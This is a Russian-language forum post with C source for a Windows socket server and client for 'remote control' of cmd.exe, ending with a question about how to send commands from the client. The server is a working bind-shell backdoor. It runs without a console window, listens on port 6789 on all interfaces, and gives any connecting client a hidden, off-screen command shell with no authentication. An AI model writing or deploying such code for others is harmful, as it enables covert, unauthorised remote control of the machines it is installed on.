Удаленное управление cmd.exe
Захотелось на основе сокетов написать сервер и клиент для
удаленного управление компом. :)
Конечно в Инете можно найти код и через pipes (каналы), но ведь можно обойтись без низ.
Сервер:
Код:
//
// Listens on port 6789
//
#pragma comment(lib, "ws2_32.lib")
#define _WIN32_WINNT 0x0501
#include <winsock2.h>
#include <windows.h>
char szSystemDir[MAX_PATH + 1];
DWORD CALLBACK Thread_ShellSpawner(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET sClient = (SOCKET)lpParam;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_USEPOSITION;
si.wShowWindow = SW_HIDE;
si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)sClient;
si.dwX = GetSystemMetrics(SM_CXSCREEN);
si.dwY = GetSystemMetrics(SM_CYSCREEN);
SetCurrentDirectory(szSystemDir);
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sClient);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
struct sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(6789);
sockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
int sockAddrLen = sizeof(sockAddr);
bind(sServer, (struct sockaddr *)&sockAddr, sockAddrLen);
listen(sServer, 5);
GetSystemDirectory(szSystemDir, MAX_PATH);
while(TRUE){
SOCKET sClient = accept(sServer, (struct sockaddr*)&sockAddr, &sockAddrLen);
if(sClient == SOCKET_ERROR) break;
CreateThread(NULL, 0, Thread_ShellSpawner, (LPVOID)sClient, 0, NULL);
}
WSACleanup();
return 0;
}
Клиент
Код:
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
#define version 0x002
#define SERVERPORT 6789
int main()
{
WSADATA wsaData;
SOCKET socketfd;
struct sockaddr_in server_addr;
// Письмо серверу
char message[]="dir";
char buff[1024];
struct hostent *h;
if(WSAStartup(MAKEWORD(version,2),&wsaData))
{
fprintf(stderr,"\nError intializing winsock library!");
return 1;
}
h=gethostbyname("127.0.0.1");
server_addr.sin_family=h->h_addrtype;
server_addr.sin_port=htons(SERVERPORT);
server_addr.sin_addr.S_un.S_addr=inet_addr(h->h_name);
memset(&(server_addr.sin_zero),'\0',8);
socketfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(socketfd==INVALID_SOCKET)
{
fprintf(stderr,"\nError creating socket!");
return 1;
}
// соединяемся с сервером
connect(socketfd,(const struct sockaddr*)&server_addr,sizeof(struct sockaddr));
//if(send(socketfd,message,lstrlen(message),0)==SOCKET_ERROR)
//{
// fprintf(stderr,"Data could not be send!");
// return 1;
//}
int nsize;
// получаем данные
while( nsize = recv(socketfd, buff, sizeof(buff)-1, 0) )
{
buff[nsize]=0;
printf("S=>C:%s", buff);
}
closesocket(socketfd);
WSACleanup();
}
У меня клиент получает данные от сервера (то есть комстроку).
Вопрос:
А что дополнить чтобы при вводе в клиент можно было выполнить команду,
например DIR и получить результат.
|